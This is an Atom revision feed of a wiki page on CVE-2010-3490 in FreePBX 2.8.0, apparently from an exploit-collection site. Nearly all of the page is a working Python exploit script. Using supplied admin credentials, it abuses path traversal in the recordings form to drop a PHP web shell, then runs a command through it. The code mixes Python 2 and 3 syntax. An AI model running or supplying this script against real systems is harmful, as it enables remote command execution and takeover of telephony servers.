<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2010-3490_FreePBX_2.8.0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%89%B5%E5%BB%BA%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2010-3490 FreePBX 2.8.0任意文件創建漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2010-3490_FreePBX_2.8.0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%89%B5%E5%BB%BA%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2010-3490_FreePBX_2.8.0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%89%B5%E5%BB%BA%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T16:15:57Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2010-3490_FreePBX_2.8.0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%89%B5%E5%BB%BA%E6%BC%8F%E6%B4%9E&amp;diff=911&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; import requests import random import string import sys   # Original advisory : http://www.exploit-db.com/exploits/15098/   print(&quot;devloop exploit for FreePBX &lt;=...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2010-3490_FreePBX_2.8.0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%89%B5%E5%BB%BA%E6%BC%8F%E6%B4%9E&amp;diff=911&amp;oldid=prev"/>
		<updated>2021-04-03T01:45:56Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; import requests import random import string import sys   # Original advisory : http://www.exploit-db.com/exploits/15098/   print(&amp;quot;devloop exploit for FreePBX &amp;lt;=...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import requests&lt;br /&gt;
import random&lt;br /&gt;
import string&lt;br /&gt;
import sys&lt;br /&gt;
 &lt;br /&gt;
# Original advisory : http://www.exploit-db.com/exploits/15098/&lt;br /&gt;
 &lt;br /&gt;
print(&amp;quot;devloop exploit for FreePBX &amp;lt;= 2.8.0 (CVE-2010-3490)&amp;quot;)&lt;br /&gt;
if len(sys.argv) != 4:&lt;br /&gt;
    print(&amp;quot;Usage: {0} &amp;lt;url_to_freepbx_admin_directory&amp;gt; &amp;lt;username&amp;gt; &amp;lt;password&amp;gt;&amp;quot;)&lt;br /&gt;
    sys.exit()&lt;br /&gt;
 &lt;br /&gt;
BASE = sys.argv[1]&lt;br /&gt;
USER = sys.argv[2]&lt;br /&gt;
PASS = sys.argv[3]&lt;br /&gt;
KEYW = &amp;quot;devloop&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
if not BASE.endswith(&amp;quot;/&amp;quot;):&lt;br /&gt;
    BASE += &amp;quot;/&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
sess = requests.session()&lt;br /&gt;
creds = (USER, PASS)&lt;br /&gt;
 &lt;br /&gt;
r = sess.get(BASE + &amp;quot;config.php&amp;quot;, auth=creds)&lt;br /&gt;
if &amp;quot;Logged in:&amp;quot; in r.content:&lt;br /&gt;
    print(&amp;quot;[+] Connection successful&amp;quot;)&lt;br /&gt;
else:&lt;br /&gt;
    print(&amp;quot;[!] Unable to login... check credentials and url&amp;quot;)&lt;br /&gt;
    sys.exit()&lt;br /&gt;
 &lt;br /&gt;
data = {&lt;br /&gt;
    'action': 'recorded',&lt;br /&gt;
    'display': 'recordings',&lt;br /&gt;
    'usersnum': '../../../../../var/www/html/admin/{0}'.format(KEYW),&lt;br /&gt;
    'rname': &amp;quot;&amp;quot;.join([random.choice(string.hexdigits) for _ in xrange(10)]),&lt;br /&gt;
    'Submit': 'Save'&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
content = &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot;&lt;br /&gt;
files = {&lt;br /&gt;
        'ivrfile': ('backdoor.php', content, 'application/octet-stream')&lt;br /&gt;
        }&lt;br /&gt;
hdrs = {&amp;quot;referer&amp;quot;: BASE + &amp;quot;config.php?type=setup&amp;amp;display=recordings&amp;quot;}&lt;br /&gt;
 &lt;br /&gt;
r = sess.post(BASE + &amp;quot;config.php?type=setup&amp;amp;display=recordings&amp;quot;,&lt;br /&gt;
        data=data,&lt;br /&gt;
        files=files,&lt;br /&gt;
        auth=creds,&lt;br /&gt;
        headers=hdrs)&lt;br /&gt;
 &lt;br /&gt;
print(&amp;quot;[i] Testing shell at address {0}{1}-ivrrecording.php&amp;quot;.format(BASE, KEYW))&lt;br /&gt;
r = requests.get(BASE + KEYW + &amp;quot;-ivrrecording.php?cmd=uname+-a&amp;quot;, auth=creds)&lt;br /&gt;
if r.status_code != 200:&lt;br /&gt;
    print(&amp;quot;[-] Received HTTP code {0} for this url&amp;quot;.format(r.status_code))&lt;br /&gt;
else:&lt;br /&gt;
    print(&amp;quot;HTTP 200 OK&amp;quot;)&lt;br /&gt;
    print r.content&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>